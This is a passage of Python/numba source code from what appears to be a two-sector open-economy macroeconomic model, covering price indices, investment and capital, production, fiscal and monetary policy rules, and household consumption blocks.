(1-alphaT) * (PNT/P)**(-etaT) * (C - c_bar*PNT/P) \n    return CT, CNT\n\n@nb.njit\ndef Armington(PH_s, PF_s, C_s, gamma, alpha):\n    CH_s = alpha * (PH_s/PF_s)**(-gamma) * C_s\n    return CH_s\n\n@nb.njit\ndef Armington_dyn(PH_s, PF_s, C_s, gamma, alpha, phi_X, T, PH_s_ss, PF_s_ss):\n    \n    ToT = PH_s/PF_s\n    ToT_tilde = np.zeros_like(ToT)\n    ToT_tilde[0] = ToT[0]**(1-phi_X)*(PH_s_ss/PF_s_ss)**phi_X\n    for t in range(1,T):\n        ToT_tilde[t] = ToT[t]**(1-phi_X)*ToT_tilde[t-1]**phi_X\n    \n    CH_s = alpha*(ToT_tilde)**(-gamma) * C_s\n\n    return CH_s\n\n@nb.njit\ndef Price_index(PH, PF, eta, alpha):\n    if isclose(eta,1.0):\n        P = PF**alpha * PH**(1-alpha)\n    else:\n        P = (alpha*PF**(1-eta) + (1-alpha)*PH**(1-eta))**(1/(1-eta))\n    return P\n\n@nb.njit\ndef Price_index_T(PH, PNT, PF, etaX, X_share_T):\n    if isclose(etaX,1.0):\n        PXT = PH**X_share_T[0] * PNT**X_share_T[1] * PF**X_share_T[2]\n    else:\n        PXT = (X_share_T[0]*PH**(1-etaX) + X_share_T[1]*PNT**(1-etaX) + X_share_T[2]*PF**(1-etaX))**(1/(1-etaX))\n    return PXT\n\n@nb.njit\ndef Price_index_NT(PH, PNT, etaX, X_share_NT):\n    if isclose(etaX,1.0):\n        PXNT = PNT**X_share_NT[0] * PH**X_share_NT[1]  \n    else:\n        PXNT = (X_share_NT[0]*PNT**(1-etaX) + X_share_NT[1]*PH**(1-etaX))**(1/(1-etaX))\n    return PXNT\n\n@nb.njit\ndef sol_Price_index_rel(pF, eta, alpha):\n    if isclose(eta,1.0):\n        pH = (1.0/(pF**alpha))**(1/(1-alpha))\n    else:\n        pH = ((1.0-alpha*pF**(1-eta))/(1-alpha))**(1/(1-eta))\n    return pH\n\n@nb.njit\ndef sol_Price_index2(pH, pF, eta, alpha):\n    if isclose(eta,1.0):\n        pF = (1.0/(pH**(1-alpha)))**(1/alpha)\n    else:\n        pF = ((1.0-(1-alpha)*pH**(1-eta))/alpha)**(1/(1-eta))\n    return pF\n\n@nb.njit\ndef Inf(P, ssval):\n    P_lag = lag(ssval,P) \n    pi = P/P_lag - 1\n    pi_p = lead(pi,0.)\n    return pi, pi_p\n\n@nb.njit\ndef P_from_inf(P, inf, T, ssP):\n    for t in range(T):\n        if t == 0:\n            P[t] = ssP*(1+inf[t]) \n        else:\n            P[t] = P[t-1]*(1+inf[t]) \n\n@nb.njit\ndef Get_HH_A(A, C, I, ra, T, ss):\n    for t in range(T):  \n        if t==0:\n            A[t] = ss.A * (1+ra[t]) + I[t]   - C[t] \n        else:\n            A[t] = A[t-1] * (1+ra[t]) + I[t]   - C[t]    \n\n@nb.njit    \ndef sol_backwards_lin(var, ssvar, a, b, T):\n    for tt in range(T):\n        t = T-1-tt\n        if t == T-1:\n            var[t] = ssvar\n        else:\n            var[t] = a[t] + b[t] * var[t+1]   \n            \n\n###############\n#    blocks   #\n###############\n\n# block for variables not used in transition paths \n@nb.njit\ndef misc_block(par, ini, ss, PTP, PO_T, PO_NT, OT, ONT, goods_mkt, AI, Atot, AI_lag, Y_s): \n    pass\n\n@nb.njit\ndef risk_premium_block(RP_T, RP_NT, mT, mNT, par, ss):\n    RP_T[:] = 1 - par.mu_r * np.tanh(par.kappa_r*(mT / ss.mT - 1))\n    RP_T_p = lead(RP_T,ss.RP_T)\n    RP_T_pp = lead(RP_T_p,ss.RP_T)\n\n    RP_NT[:] = 1 - par.mu_r * np.tanh(par.kappa_r*(mNT / ss.mNT - 1))\n    RP_NT_p = lead(RP_NT,ss.RP_NT)\n    RP_NT_pp = lead(RP_NT_p,ss.RP_NT)\n\n    return RP_T_p, RP_T_pp, RP_NT_p, RP_NT_pp\n\n\n@nb.njit\ndef investment_block_I_adj(par, ss, KT, KNT, IT, INT, I, rKT, rKNT, QT, \n                            QNT, r, IT_FOC, INT_FOC, KTp, KNTp,\n                            adjI_T, adjI_NT, ZT, ZNT, PH, PNT, mcT, \n                            mcNT, rHT, rHNT, HT, HNT, P, VAT, RP_T, RP_NT,\n                            mT, mNT, ITp, INTp, subI):\n\n    #adj_cost_f = CTW_adj_cost\n    adj_cost_f = I_adj_cost\n\n    if par.use_capital:\n        # Get risk premium \n        RP_T_p, RP_T_pp, RP_NT_p, RP_NT_pp = risk_premium_block(RP_T, RP_NT, mT, mNT, par, ss)\n\n        # Get investment\n        IT[:] = lag(ss.ITp, ITp)\n        INT[:] = lag(ss.INTp, INTp)\n        adjI_T[:] = adj_cost_f(IT, lag(ss.IT, IT), par.phi_I)[0] * IT\n        adjI_NT[:] = adj_cost_f(INT, lag(ss.INT, INT), par.phi_I)[0] * INT\n\n        # Use law of motion to obtain capital from investment\n        for t in range(par.T):\n            if t == 0:\n                KT[t] = ss.KT\n                KNT[t] = ss.KNT\n            else:\n                KT[t] = (1-par.delta_K) * KT[t-1] + IT[t-1]\n                KNT[t] = (1-par.delta_K) * KNT[t-1] + INT[t-1]\n\n        # Get return on capital from capital demand\n        rKT[:] = rHT * (KT/(HT * (par.TFP * par.TFP_s[0]) ** (par.sigma_NK - 1))  / (par.prodalphaK[0] ** (par.sigma_NK)))**(-1/par.sigma_NK)    \n        rKNT[:] = rHNT * (KNT/(HNT * (par.TFP * par.TFP_s[1]) ** (par.sigma_NK - 1))  / (par.prodalphaK[1] ** (par.sigma_NK)))**(-1/par.sigma_NK)   \n\n        # Obtain Tobins Q through backwards iteration\n        QT[-1] = 1.\n        QNT[-1] = 1.\n\n        for tt in range(par.T-1):\n            t = par.T-1-tt-1\n            QT[t] = (rKT[t+1] * RP_T_p[t]     + (1-par.delta_K) * QT[t+1]) / (1+r[t])\n            QNT[t] = (rKNT[t+1] * RP_NT_p[t]   + (1-par.delta_K) * QNT[t+1]) / (1+r[t])\n\n        # generate various leads\n        r_p = lead(r, ss.r)\n        QT_p = lead(QT, ss.QT)\n        QNT_p = lead(QNT, ss.QNT)\n        subI_p = lead(subI,ss.subI)\n\n        ITp_lag = IT\n        INTp_lag = INT\n        ITpp = lead(ITp, ss.IT)\n        INTpp = lead(INTp, ss.INT)\n\n        # Investment focs\n        adj_T,d_adj_T = adj_cost_f(ITp, ITp_lag, par.phi_I)\n        adj_NT, d_adj_NT = adj_cost_f(INTp, INTp_lag, par.phi_I)\n        d_adj_T_p = adj_cost_f(ITpp, ITp, par.phi_I)[1]\n        d_adj_NT_p = adj_cost_f(INTpp, INTp, par.phi_I)[1]\n\n        IT_FOC[:] = (1-subI_p +  adj_T + d_adj_T*(ITp/ITp_lag)) - (QT_p/RP_T_p + RP_T_pp/RP_T_p * 1/(1+r_p) * (d_adj_T_p * (INTpp/INTp)**2))\n        INT_FOC[:] = (1-subI_p + adj_NT + d_adj_NT*(INTp/INTp_lag)) - (QNT_p/RP_NT_p + RP_NT_pp/RP_NT_p * 1/(1+r_p) * (d_adj_NT_p * (INTpp/INTp)**2))\n\n        # Aggregate investment\n        I[:] = lead(IT + INT, ss.I) # Should be leaded since I is predetermined in model, but not in data/LP\n    else:\n        rKT[:] = 0.\n        rKNT[:] = 0.\n        KT[:] = 0.\n        KNT[:] = 0.\n        IT[:] = 0.\n        INT[:] = 0.\n        ITp[:] = 0.\n        INTp[:] = 0.\n        I[:] = 0.\n        IT_FOC[:] = 0.\n        INT_FOC[:] = 0.\n        adjI_T[:] = 0.\n        adjI_NT[:] = 0.\n\n@nb.njit\ndef get_labor_adj_cost(r, ss_r, N, ss_N, phi_N):\n\n    N_l = lag(ss_N, N)\n    N_p = lead(N,ss_N)\n\n    adj_term = phi_N*(N/N_l-1) + 1/(1+ss_r)*(phi_N/2 * (N_p/N-1)**2 - phi_N * (N_p/N-1)*N_p/N)\n\n    return adj_term\n\n\n@nb.njit\ndef production_block(par, ini, ss, ZT, ZNT, Z, mcT, mcNT, XT, XNT, XNT2T, XT2NT, XNT2NT, \n                    XT2T, XM2T, PXT, PXNT, subP,subI, VAT, piH, piNT, PH, PNT, PF, rHT, rHNT, HT, HNT, \n                    WT, WNT, rWT, rWNT, NT, NNT, N, PGDP, GDP, YT, YNT, Y, wnT,\n                    wnNT, w, P, wT, wNT, KT, KNT, rKT, rKNT, r,\n                    IT, INT, I, QT, QNT, IT_FOC, INT_FOC, KTp, KNTp, RP_T, RP_NT, \n                    mT, mNT,  ITp, INTp, adjI_T, adjI_NT, labor_comp, Lfoc_T, Lfoc_NT):\n\n    PC_beta = 1 / (1 + ss.r)\n\n    # Solve NKPCs     \n    ZT_p = lead(ZT, ss.ZT)\n    ZNT_p = lead(ZNT, ss.ZNT)\n    VAT_p = lead(VAT, VAT[-1])\n    piH_p = lead(piH, ss.piH)\n    piNT_p = lead(piNT, ss.piNT)\n    piH_l = lag(ss.piH, piH)\n    piNT_l = lag(ss.piNT, piNT)\n\n    # invert NKPC to get real marginal costs\n    disc_T = PC_beta * ZT_p / ZT * (1 - VAT_p) / (1 - VAT)\n    inf_term_T = ((1+piH)/(1+piH_l)**par.pi_index - 1) * ((1+piH)/(1+piH_l)**par.pi_index)  \n    inf_term_p_T = ((1+piH_p)/(1+piH)**par.pi_index - 1) * ((1+piH_p)/(1+piH)**par.pi_index)  \n    mcT[:]  = 1/par.mu[0]  + (inf_term_T - disc_T * inf_term_p_T)/(par.NKslope[0]*PH/P)  \n\n    disc_NT = PC_beta * ZNT_p / ZNT * (1 - VAT_p) / (1 - VAT)\n    inf_term_NT = ((1+piNT)/(1+piNT_l)**par.pi_index - 1) * ((1+piNT)/(1+piNT_l)**par.pi_index)  \n    inf_term_p_NT = ((1+piNT_p)/(1+piNT)**par.pi_index - 1) * ((1+piNT_p)/(1+piNT)**par.pi_index)  \n    mcNT[:]  = 1/par.mu[1]  + (inf_term_NT - disc_NT * inf_term_p_NT)/(par.NKslope[1]*PNT/P)  \n  \n\n    # CES prices \n    PXT[:] = Price_index_T(PNT, PH, PF, par.etaX, par.X_share_T)\n    PXNT[:] = Price_index_NT(PH, PNT, par.etaX, par.X_share_NT)\n\n    if isclose(par.sigma_XH, 1.0) and ss.XT > 0:  # Cobb-Douglas\n        rHT[:]  = (mcT * PH * (1 - VAT) / (\n                    (PXT * (1 - VAT) / par.prodalphaX[0]) ** par.prodalphaX[0])) ** (1 / (1 - par.prodalphaX[0])) * (\n                            1 - par.prodalphaX[0])  / P\n        rHNT[:] = (mcNT * PNT * (1 - VAT) / (\n                    (PXNT * (1 - VAT) / par.prodalphaX[1]) ** par.prodalphaX[1])) ** (1 / (1 - par.prodalphaX[1])) * (\n                            1 - par.prodalphaX[1])  / P\n    elif isclose(ss.XT, 0.0):  # Linear production function with labor\n        rHT[:] = (1 - VAT) * mcT * PH   / P # check TFP here\n        rHNT[:] = (1 - VAT) * mcNT * PNT / P # check TFP here\n    else:  # CES\n        rHT[:] = ((((1 - VAT) * mcT * PH * par.TFP * par.TFP_s[0]) ** (1 - par.sigma_XH) - par.prodalphaX[\n            0] ** par.sigma_XH * PXT ** (1 - par.sigma_XH)) / par.prodbeta[0] ** par.sigma_XH) ** (\n                            1 / (1 - par.sigma_XH))  / P\n        rHNT[:] = ((((1 - VAT) * mcNT * PNT * par.TFP * par.TFP_s[1]) ** (1 - par.sigma_XH) - par.prodalphaX[\n            1] ** par.sigma_XH * PXNT ** (1 - par.sigma_XH)) / par.prodbeta[1] ** par.sigma_XH) ** (\n                             1 / (1 - par.sigma_XH)) / P\n\n    # Intermediate goods\n    if par.alphaX[0] > 0.0 and par.alphaX[1] > 0.0:\n        XT[:] = par.prodalphaX[0] ** (par.sigma_XH) * (PXT / (PH * mcT)) ** (-par.sigma_XH) * ZT \n        XNT[:] = par.prodalphaX[1] ** (par.sigma_XH) * (PXNT / (PNT * mcNT)) ** (-par.sigma_XH) * ZNT \n        XT2NT[:], XNT2T[:], XNT2NT[:], XT2T[:], XM2T[:] = get_intermediates(XT, XNT, PXT, PXNT, PH, PNT, PF,\n                                                                                    par.X_share_T, par.X_share_NT,                                                                      par.etaX)\n    else:\n        XT[:] = 0.0\n        XNT[:] = 0.0\n        XNT2T[:] = 0.0\n        XT2NT[:] = 0.0\n        XT2NT[:], XNT2T[:], XNT2NT[:], XT2T[:] = 0.0, 0.0, 0.0, 0.0\n        PXT[:], PXNT[:] = 0.0, 0.0\n        XM2T[:] = 0.\n\n    # Next stage in production function \n    # Invert production function to get H given Z and X \n    exp = (par.sigma_XH - 1) / par.sigma_XH\n    if isclose(par.sigma_XH, 1.0) and ss.XT > 0:\n        HT[:] = (ZT / (XT ** par.alphaX[0])) ** (1 / (1 - par.alphaX[0]))\n        HNT[:] = (ZNT / (XNT ** par.alphaX[1])) ** (1 / (1 - par.alphaX[1]))\n    elif ss.XT > 0:\n        HT[:] = ((ZT  ** exp - par.prodalphaX[0] * XT ** exp) / par.prodbeta[0]) ** (1 / exp)\n        HNT[:] = ((ZNT ** exp - par.prodalphaX[1] * XNT ** exp) / par.prodbeta[1]) ** (1 / exp)\n    else:\n        HT[:] = ZT\n        HNT[:] = ZNT\n\n    # Given rH and H get solve for investment and capital \n    investment_block_I_adj(par, ss, KT, KNT, IT, INT, I, rKT, rKNT, QT, \n                            QNT, r, IT_FOC, INT_FOC, KTp, KNTp,\n                            adjI_T, adjI_NT, ZT, ZNT, PH, PNT, mcT, \n                            mcNT, rHT, rHNT, HT, HNT, P, VAT, RP_T, RP_NT, \n                            mT, mNT, ITp, INTp, subI)\n\n    # Invert production function for H to get N\n    exp_NK = (par.sigma_NK - 1) / par.sigma_NK\n    if par.use_capital:\n        if isclose(par.sigma_NK, 1.0):\n            NT[:] = (HT/KT**par.prodalphaK[0])**(1/(1-par.prodalphaK[0]))  \n            NNT[:] = (HNT/KNT**par.prodalphaK[1])**(1/(1-par.prodalphaK[1]))  \n        else:\n            NT[:] = (((HT/(par.TFP * par.TFP_s[0]))**exp_NK -par.prodalphaK[0] * KT**exp_NK)/par.prodbetaN[0])**(1/exp_NK) \n            NNT[:] = (((HNT/(par.TFP * par.TFP_s[1]))**exp_NK -par.prodalphaK[1] * KNT**exp_NK)/par.prodbetaN[1])**(1/exp_NK) \n    \n        # Calculate marginalproduct of labor rWT\n        rWT[:] = rHT * par.prodbetaN[0] * (par.TFP * par.TFP_s[0]) ** exp_NK * (HT / NT) ** (\n                1 / par.sigma_NK)   \n        rWNT[:] = rHNT * par.prodbetaN[1] * (par.TFP * par.TFP_s[1]) ** exp_NK * (HNT / NNT) ** (\n                1 / par.sigma_NK)     \n    else:\n        NT[:] = HT / (par.TFP * par.TFP_s[0])\n        NNT[:] = HNT / (par.TFP * par.TFP_s[1])\n        rWT[:] = par.TFP_s[0]*par.TFP*rHT\n        rWNT[:] = par.TFP_s[1]*par.TFP*rHNT\n\n      \n    # Wages from labor adjustment costs \n    adj_term_T = get_labor_adj_cost(r, ss.r, NT, ss.NT, par.phi_N)\n    adj_term_NT = get_labor_adj_cost(r, ss.r, NNT, ss.NNT, par.phi_N)\n\n    WT[:] = wT * P \n    WNT[:] = wNT * P \n\n    Lfoc_T[:] = WT*(1 - subP) - P*(rWT - adj_term_T)\n    Lfoc_NT[:] = WNT*(1 - subP) - P*(rWNT - adj_term_NT)\n\n    # Value added part of CES tree\n    nOT = PH * ZT - PXT * XT - PH * par.FixedCost[0]\n    nONT = PNT * ZNT - PXNT * XNT - PNT * par.FixedCost[1]\n    N[:] = NT + NNT\n\n    # GDP deflator \n    for t in range(par.T):\n        nOT_denom = ss.PH * ZT[t] - ss.PXT * XT[t] - ss.PH * par.FixedCost[0]\n        nONT_denom = ss.PNT * ZNT[t] - ss.PXNT * XNT[t] - ss.PNT * par.FixedCost[1]\n        PGDP[t] = (nOT[t] + nONT[t]) / (nOT_denom + nONT_denom) * ss.PGDP\n        GDP[t] = (nOT[t] + nONT[t]) / PGDP[t]\n\n    YT[:] = nOT / PGDP\n    YNT[:] = nONT / PGDP\n    Y[:] = YT + YNT\n    Z[:] = (PH * ZT + PNT * ZNT) / PGDP\n\n    #####################\n    #        Wages      #\n    #####################\n    # Average real wage income     \n    wnT[:] = (WT * NT / P) / par.sT\n    wnNT[:] = (WNT * NNT / P) / (1 - par.sT)\n\n    # Aggregate real wage income\n    labor_comp[:] = wT*NT + wNT*NNT \n    w[:] = labor_comp/N\n\n\n@nb.njit\ndef asset_returns(par, ini, ss, DivT, DivNT, Div, YT, YNT, VAT, wnT,\n                wnNT, subP, subI, P, PGDP, r, pD, ra, rai, AI_lag, AI, d, pi, IT, INT, \n                adjI_T, adjI_NT, mT, mNT, mT_res, mNT_res,\n                KT, KNT, rKT, rKNT, Div_k_T, Div_k_NT):\n\n    DivT[:] = (1 - VAT) * YT * PGDP / P - par.sT * wnT * (1 - subP) - IT * (1 - subI) \n    DivNT[:] = (1 - VAT) * YNT * PGDP / P  - (1 - par.sT) * wnNT * (1 - subP) - INT * (1 - subI) \n    Div[:] = DivT + DivNT\n    Div_p = lead(Div, ss.Div)\n\n    # Solve pD = (pD_p+Div)/(1+r) for pD\n    sol_backwards_lin(pD, ss.pD, Div_p / (1 + r), 1 / (1 + r), par.T)\n\n    if par.HH_type == 'HA-2A' or par.use1A_illiquid:\n        tot_return = ((pD[0] + Div[0] + (1 + ss.i) / (1 + pi[0]) * ss.B) / ss.Atot - 1)\n        rai[0] = par.xi + (tot_return*ss.Atot - ss.r * ss.A)/ss.AI \n        rai[1:] = par.xi + r[:-1]\n        ra[:] = lag(ss.r, r)\n\n        if par.use1A_illiquid:\n            for t in range(par.T):\n                AI_lag[t] = AI[t-1] if t > 0 else ss.AI \n                d[t] = ss.rai/(1+ss.rai)*(1+rai[t])*AI_lag[t] + par.chi*((1+rai[t])*AI_lag[t] -(1+ss.rai)*par.AI_target)\n                AI[t] = (1+rai[t]) * AI_lag[t] - d[t]\n            \n    else:\n        # Return at time 0 of the MIT shock is calculated from initial asset position\n        ra[0] = (pD[0] + Div[0] + (1 + ss.i) / (1 + pi[0]) * ss.B) / ss.A - 1\n        # For the remaining periods arbitrage-conditions hold so \n        ra[1:] = r[:-1]\n\n        AI_lag[:] = 0.\n        d[:] = 0. \n\n    # m residual   \n    mT_res[:] = DivT - mT\n    mNT_res[:] = DivNT - mNT\n\n\n\n@nb.njit\ndef public_finances(par, ini, ss, VAT, YT, YNT, P, PGDP, subP, subI, \n                    WT, NT, WNT, NNT, UniformT_exo, UniformT, \n                    G_trans, G_exo, G_T, G_NT, G, PH, PNT, B, i, \n                    pi, tau,  G_budget, IT, INT):\n\n\n    TR = VAT * (YT + YNT) * PGDP / P - subP * (WT * NT + WNT * NNT) / P - subI*(IT + INT)\n    UniformT[:] = UniformT_exo\n    G_trans[:] = G_exo\n    G_T[:] = par.sGT_ss * ss.G + par.sGT * G_trans\n    G_NT[:] = (1 - par.sGT_ss) * ss.G + (1 - par.sGT) * G_trans\n    G[:] = (PH * G_T + PNT * G_NT) / P\n\n    B_lag = lag(ss.B, B)\n    i_lag = lag(ss.i, i)\n\n    if par.debt_rule:  # Auclert et al debt rule\n\n        tau[:] = ss.tau + par.epsB*(B_lag-ss.B)/ss.Y\n\n    else:  # Complete debt financed policy for the first tauB periods\n\n        if not isclose(ss.B,0.0):\n\n            discont_rule(tau, par.T, par.tauB, par.deltaB, ss.tau, par.epsB, B, ss.B)\n\n        else:\n\n            tau[:] = ss.tau\n\n    G_budget[:] = B + tau*(WT*NT+WNT*NNT)/P - (G + UniformT - TR + (1 + i_lag) / (1 + pi) * B_lag)\n\n@nb.njit\ndef discont_rule(tau, T, tauB, deltaB, tau_ss, epsB, B, B_ss, gross=True):\n    if gross:\n        con = 0. \n    else:\n        con = 1.\n\n    for t in range(T):\n\n        if t < tauB:\n        \n            tau[t] = tau_ss\n        \n        elif t <= tauB + deltaB:\n\n            ttilde = (t - tauB) / deltaB\n            tautilde = (con+tau_ss) * (B[t - 1] / B_ss) ** epsB\n            omega_x = 3 * ttilde ** 2 - 2 * ttilde ** 3\n            tau[t] = (1 - omega_x) * (con+tau_ss) + omega_x * tautilde - con\n\n        else:\n\n            tau[t] = (con+tau_ss) * (B[t] / B_ss) ** epsB - con\n\n    \n\n@nb.njit\ndef simple_HHs(par, ini, ss, wnNT, wnT, UniformT, tau, Income, C, r, \n                eps_beta, CHtM, CR, iF_s, piF, Q, C_s, \n                ra, A, Atot, UC_T, UC_NT):\n\n    Income[:] = (1-tau)* (wnNT * (1 - par.sT) + wnT * par.sT) + UniformT\n    \n    if par.HH_type not in ['HA', 'HA-2A']:\n        if par.use_RA_jac:\n            r_lag = lag(ss.r, r)\n            reval = (ra - r_lag)*ss.A \n            C[:] = ss.C\n            C[:] += par.M_Y @ ((Income - ss.Income) + reval)\n            C[:] += par.M_R @ (r - ss.r)\n            C[:] += par.M_beta @ (eps_beta - ss.eps_beta) * par.beta_mean\n        else:\n            if par.HH_type == 'RA-CM' or par.HH_type == 'RA-IM':\n                sHtM = 0. \n            else:\n                sHtM = par.MPC_est[0]\n            for tt in range(par.T):\n                t = par.T - 1 - tt\n                if par.HH_type == 'RA-CM' or par.HH_type == 'TA-CM':\n                    if par.HH_type == 'TA-CM':\n                        CHtM[t] = Income[t]\n                    else:\n                        CHtM[t] = 0.0\n                    if t == par.T - 1:\n                        CR[t] = ss.CR\n                    else:\n                        rF_s = iF_s[t] - piF[t]\n                        CR[t] = CR[t + 1] * (Q[t + 1] / Q[t] * (1 + rF_s) / (1 + ss.r)) ** (-1 / par.CRRA) * C_s[t] / \\\n                                C_s[t + 1]\n                    C[t] = CR[t] * (1 - sHtM) + sHtM * CHtM[t]\n                elif par.HH_type == 'RA-IM' or par.HH_type == 'TA-IM':\n                    if par.HH_type == 'TA-IM':\n                        CHtM[t] = Income[t]\n                    else:\n                        CHtM[t] = 0.0\n                    if t == par.T - 1:\n                        CR[t] = ss.CR\n                    else:\n                        CR[t] = ((1 + ra[t + 1]) * eps_beta[t] * par.beta_mean * CR[t + 1] ** (-par.CRRA)) ** (\n                                    -1 / par.CRRA)\n                C[t] = CR[t] * (1 - sHtM) + sHtM * CHtM[t]\n\n        UC_T[:] = C[:] ** (-par.CRRA)\n        UC_NT[:] = C[:] ** (-par.CRRA)\n        Get_HH_A(A, C, Income, ra, par.T, ss)\n        Atot[:] = A\n\n\n@nb.njit\ndef mon_pol(par, ini, ss, PNT, PH, DomP, ppi, pi, piNT, E, ND, Z, i, di, Taylor):\n\n    i_lag = lag(ss.i, i)\n    pi_p = lead(pi, ss.pi)\n\n    # Calculate domestic price index using Paasche price index (sum of NT and H)\n    DomP[:] = (PNT * ss.CNT + PH * ss.CH) / (ss.PNT * ss.CNT + ss.PH * ss.CH)\n    ppi[:], ppi_p = Inf(DomP, ss.DomP)\n\n    if par.floating:\n        if par.MonPol == 'Taylor':\n            if par.TaylorType == 'CPI':\n                Taylor_pi = pi\n            elif par.TaylorType == 'NT':\n                Taylor_pi = lead(piNT, ss.piNT)\n            elif par.TaylorType == 'ppi':\n                Taylor_pi = ppi\n            elif par.TaylorType == 'DomP':\n                Taylor_pi = np.log(DomP) - np.log(ss.DomP)\n            elif par.TaylorType == 'FoF':\n                Taylor_pi = ppi_p + 0.3 / par.phi * np.log(E / lag(ss.E, E))\n            elif par.TaylorType == 'Y':\n                Taylor_pi = ppi_p + 0.25 / par.phi * np.log(Z / ss.Z)\n            Taylor[:] = i - ((ss.i + par.phi * Taylor_pi) * (1 - par.phi_back) + par.phi_back * i_lag + di)\n        else:\n            Taylor[:] = 1 + ss.r - (1 + i + di) / (1 + pi_p)\n    else:\n        Taylor[:] = E - ND\n\n\n@nb.njit\ndef pricing(par, ini, ss, PF_s, P, pi, piF_s, piF, PF, PH_s, piH_s,\n            rF_s, iF_s, E, VAT, Q, r, i, NFA, PH, PT, PNT, \n            piNT, ToT, CH_s, C_s, piH, FD, subP, subI, pi_ann, piH_ann, \n            r_ann, rF_s_ann, piF_s_ann, iF_s_ann, r_NFA):\n\n    # update parameters\n    par.theta_w[:] = par.epsilon / par.NKWslope # warning: this is not thread safe\n    par.theta[:] = par.epsilon / par.NKslope # warning: this is not thread safe\n\n    # Fiscal devaluation - assumes that taxes are zero in steady state\n    if par.FD_shock:\n        subP[:] = par.subP_weight * FD\n        subI[:] = par.subI_weight * FD\n        VAT[:] = par.VAT_weight * FD\n    else:\n        subP[:] = 0.\n        subI[:] = 0.\n        VAT[:] = 0. \n\n    # Prices and inflation \n    piF_s_p = lead(piF_s, ss.piF_s)\n    P_from_inf(PF_s, piF_s, par.T, ss.PF_s)\n    P_from_inf(P, pi, par.T, ss.P)  # P\n    P_from_inf(PF, piF, par.T, ss.PF)  # PF\n    P_from_inf(PH_s, piH_s, par.T, ss.PH_s)  # PH_s\n    pi_p = lead(pi, ss.pi)\n    rF_s[:] = (1 + iF_s) / (1 + piF_s_p) - 1\n    rF_s_ann[:] = convert_q2a(rF_s)\n    piF_s_ann[:] = convert_q2a(piF_s)\n    iF_s_ann[:] = convert_q2a(iF_s)\n\n    # Exchange rate \n    E[:] = PF / PF_s * (1 - VAT)\n    Q[:] = E * PF_s / P\n    Q_terminal = ss.Q \n    Q_p = lead(Q, Q_terminal)\n\n    # UIP  \n    discont_rule(r_NFA, par.T, par.tauNFA, par.deltaNFA, ss.r_NFA, par.epsNFA, 1+NFA, 1., gross=False)\n    NFA_closure = np.exp(-par.r_debt_elasticity * (NFA / ss.GDP - ss.NFA / ss.GDP)) - r_NFA\n    if par.HH_type in ['HA', 'HA-2A']:\n        port_adj_term = par.UIP_dev * (NFA/ss.Atot - lag(ss.NFA, NFA)/ss.Atot) - 1/(1+ss.r) * par.UIP_dev * (lead(NFA, ss.NFA)/ss.Atot - NFA/ss.Atot)\n        r[:] = (1 + rF_s) * (Q_p / Q) * NFA_closure + port_adj_term - 1\n    else:\n        port_adj_term = par.UIP_dev * (NFA/ss.Atot - lag(ss.NFA, NFA)/ss.Atot) - 1/(1+ss.r) * par.UIP_dev * (lead(NFA, ss.NFA)/ss.Atot - NFA/ss.Atot)\n        r[:] = (1 + rF_s) * (Q_p / Q) * NFA_closure + port_adj_term - 1\n    \n    # Fisher\n    i[:] = (1 + r) * (1 + pi_p) - 1\n\n    # LCP/PCP \n    PH[:] = PH_s * E / (1 - VAT)\n    piH[:], piH_p = Inf(PH, ss.PH)\n\n    PT[:] = Price_index(PH, PF, par.eta, par.alphaF)\n    if isclose(par.etaT, 1.0):\n        PNT[:] = (P / PT ** par.alphaT) ** (1 / ((1 - par.alphaT)))\n    else:\n        PNT[:] = ((P ** (1 - par.etaT) - par.alphaT * PT ** (1 - par.etaT)) / (1 - par.alphaT)) ** (1 / (1 - par.etaT))\n    piNT[:], piNT_p = Inf(PNT, ss.PNT)\n\n    ToT[:] = PF / PH_s / E * (1 - VAT)\n\n    # Exports \n    CH_s[:] = Armington_dyn(PH_s, PF_s, C_s, par.gamma, par.alpha_s, par.phi_X, par.T, ss.PH_s, ss.PF_s)\n\n    # Annual inflation and real rate    \n    annual_inflation(pi_ann, P, par.T, ss.P)\n    pi_ann_p = lead(pi_ann,0.)\n    r_ann[:] = (1+i)**4 / (1+pi_ann_p) - 1\n    annual_inflation(piH_ann, PH, par.T, ss.PH)\n\n\n@nb.njit(cache=False)\ndef block_post(par, ini, ss, P, CH_s, PT, PF, PNT, PH, \n                ZT, ZNT, GDP_NT, GDP_T, pi,  \n                XT, XNT, XNT2T, XT2NT, XNT2NT, \n                XT2T, XM2T, PXT, PXNT,\n                NT, NNT, WNT, WT, wNT, wT, piWT, piWNT,\n                pD, ra, G, G_T, G_NT, B,\n                UC_T, UC_NT, C, C_T, C_NT, A, CT, CNT, CF,\n                CH, NFA, NX, Exports, Imports, Walras,\n                IT, INT, I, adjI_T, adjI_NT, \n                NFA_target, NKWPCNT, NKWPCT, \n                goods_mkt_NT, goods_mkt_T, \n                C_T_hh, C_NT_hh, C_hh, A_hh, AI_hh, AI, Atot, UC_T_hh, UC_NT_hh, tau):\n\n    if par.HH_type == 'HA':\n        C_T[:] = C_T_hh\n        C_NT[:] = C_NT_hh\n        C[:] = C_hh\n        A[:] = A_hh\n        if par.use1A_illiquid:\n            Atot[:] = AI + A\n        else:\n            Atot[:] =  A\n\n        UC_T[:] = UC_T_hh\n        UC_NT[:] = UC_NT_hh\n\n    elif par.HH_type == 'HA-2A':\n        C_T[:] = C_T_hh\n        C_NT[:] = C_NT_hh\n        AI[:] = AI_hh\n        C[:] = C_hh  \n        A[:] = A_hh\n        Atot[:] = AI + A\n\n        UC_T[:] = UC_T_hh\n        UC_NT[:] = UC_NT_hh   \n    else:\n        C_T[:] = C\n        C_NT[:] = C\n\n    # Get consumption at lower levels of CES tree\n    CT[:], CNT[:] = CES_demand_T(C, PT, PNT, P, par.etaT, par.alphaT)\n    CF[:], CH[:] = CES_demand(CT, PH, PF, PT, par.eta, par.alphaF)\n\n    ######################\n    #       Walras       #\n    ######################        \n    NFA_target[:] = NFA - (Atot - pD - B)\n    NFA_lag = lag(ss.NFA, NFA)\n    NX[:] = (PH * ZT + PNT * ZNT - PXT * XT - PXNT * XNT) / P - C - G - IT  - INT  - PH / P * par.FixedCost[0] - PNT / P * \\\n            par.FixedCost[1]\n    Walras[:] = NFA - (NX + (1 + ra) * NFA_lag)\n    Exports[:] = CH_s\n    Imports[:] = CF + XM2T\n\n    ####################################\n    # Goods market clearing and NKWPCs #\n    ####################################\n\n    GDP_T[:] = ((ZT - par.FixedCost[0]) - XT2NT - XT2T)\n    GDP_NT[:] = ((ZNT - par.FixedCost[1]) - XNT2T - XNT2NT)\n    goods_mkt_T[:] = GDP_T * PH - (PH * CH + PH * CH_s + 